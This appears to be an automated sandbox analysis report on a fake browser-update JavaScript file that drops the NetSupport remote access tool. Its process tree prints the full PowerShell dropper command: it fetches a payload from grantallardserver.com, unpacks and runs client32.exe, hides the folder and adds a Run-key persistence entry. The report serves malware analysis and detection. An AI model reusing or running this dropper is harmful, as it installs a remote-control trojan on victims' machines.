Analysis

  • max time kernel
    142s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-02-2024 16:32

General

  • Target

    Install/Update_browser_121.0.6165.js

  • Size

    1.3MB

  • MD5

    f81058fb98198fb56f2b846d3d64f61a

  • SHA1

    6fc92a83c7d2be9994c5aaf7b68fe62fc660c548

  • SHA256

    9bc8f97bad4cf4607037be15990d4d8396873487c1e11101ebd95123fdbf631a

  • SHA512

    1d5f1cf04a9bcab96576711c06fa8bed0523dea1aab867649a278ae9ddf813a585aea5c8e903f44554707d2eba842e151bf677bef41ef10c568f49440923e57a

  • SSDEEP

    12288:Bqkdj8gY4HQJ2Oyqkdj8gY4HQJ2Oyqkdj8gY4HQJ2Ok:ckdBpQFVkdBpQFVkdBpQFk

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://grantallardserver.com/data.php?6001

exe.dropper

https://grantallardserver.com/data.php?6001

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Install\Update_browser_121.0.6165.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zYwYQLZhmlVNTTMLhSR='https://grantallardserver.com/data.php?6001';$PoqiRvgsKJZsPBpUINd=(New-Object System.Net.WebClient).DownloadString($zYwYQLZhmlVNTTMLhSR);$FKWRObVGyAyIyJrnT=[System.Convert]::FromBase64String($PoqiRvgsKJZsPBpUINd);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $dYcpSZhpKp=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $dYcpSZhpKp -PathType Container)) { New-Item -Path $dYcpSZhpKp -ItemType Directory };$p=Join-Path $dYcpSZhpKp 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$FKWRObVGyAyIyJrnT);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$dYcpSZhpKp)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $dYcpSZhpKp 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $dYcpSZhpKp -Force; $FSDFSSD.attributes='Hidden';$s=$dYcpSZhpKp+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3296
      • C:\Users\Admin\AppData\Roaming\DIVX207\client32.exe
        "C:\Users\Admin\AppData\Roaming\DIVX207\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4800

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x2kgsrn1.tc3.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\DIVX207\HTCTL32.DLL

    Filesize

    320KB

    MD5

    c94005d2dcd2a54e40510344e0bb9435

    SHA1

    55b4a1620c5d0113811242c20bd9870a1e31d542

    SHA256

    3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

    SHA512

    2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

  • C:\Users\Admin\AppData\Roaming\DIVX207\MSVCR100.dll

    Filesize

    755KB

    MD5

    0e37fbfa79d349d672456923ec5fbbe3

    SHA1

    4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

    SHA256

    8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

    SHA512

    2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

  • C:\Users\Admin\AppData\Roaming\DIVX207\NSM.LIC

    Filesize

    258B

    MD5

    1b41e64c60ca9dfadeb063cd822ab089

    SHA1

    abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

    SHA256

    f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

    SHA512

    c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

  • C:\Users\Admin\AppData\Roaming\DIVX207\PCICL32.dll

    Filesize

    3.6MB

    MD5

    d3d39180e85700f72aaae25e40c125ff

    SHA1

    f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

    SHA256

    38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

    SHA512

    471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

  • C:\Users\Admin\AppData\Roaming\DIVX207\client32.exe

    Filesize

    101KB

    MD5

    c4f1b50e3111d29774f7525039ff7086

    SHA1

    57539c95cba0986ec8df0fcdea433e7c71b724c6

    SHA256

    18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

    SHA512

    005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

  • C:\Users\Admin\AppData\Roaming\DIVX207\client32.ini

    Filesize

    701B

    MD5

    98043670d8c850e878e333312fcfa25a

    SHA1

    dc795e8b906d70ee5854a6797e0c1557375bc443

    SHA256

    0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc

    SHA512

    13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

  • C:\Users\Admin\AppData\Roaming\DIVX207\pcicapi.dll

    Filesize

    32KB

    MD5

    34dfb87e4200d852d1fb45dc48f93cfc

    SHA1

    35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

    SHA256

    2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

    SHA512

    f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

  • C:\Users\Admin\AppData\Roaming\DIVX207\pcichek.dll

    Filesize

    18KB

    MD5

    104b30fef04433a2d2fd1d5f99f179fe

    SHA1

    ecb08e224a2f2772d1e53675bedc4b2c50485a41

    SHA256

    956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

    SHA512

    5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

  • memory/3296-15-0x000002496DAE0000-0x000002496DAEA000-memory.dmp

    Filesize

    40KB

  • memory/3296-16-0x000002496DB10000-0x000002496DB22000-memory.dmp

    Filesize

    72KB

  • memory/3296-0-0x000002496D760000-0x000002496D782000-memory.dmp

    Filesize

    136KB

  • memory/3296-12-0x00000249550E0000-0x00000249550F0000-memory.dmp

    Filesize

    64KB

  • memory/3296-13-0x00000249550E0000-0x00000249550F0000-memory.dmp

    Filesize

    64KB

  • memory/3296-78-0x00007FFFEB450000-0x00007FFFEBF11000-memory.dmp

    Filesize

    10.8MB

  • memory/3296-11-0x00000249550E0000-0x00000249550F0000-memory.dmp

    Filesize

    64KB

  • memory/3296-10-0x00007FFFEB450000-0x00007FFFEBF11000-memory.dmp

    Filesize

    10.8MB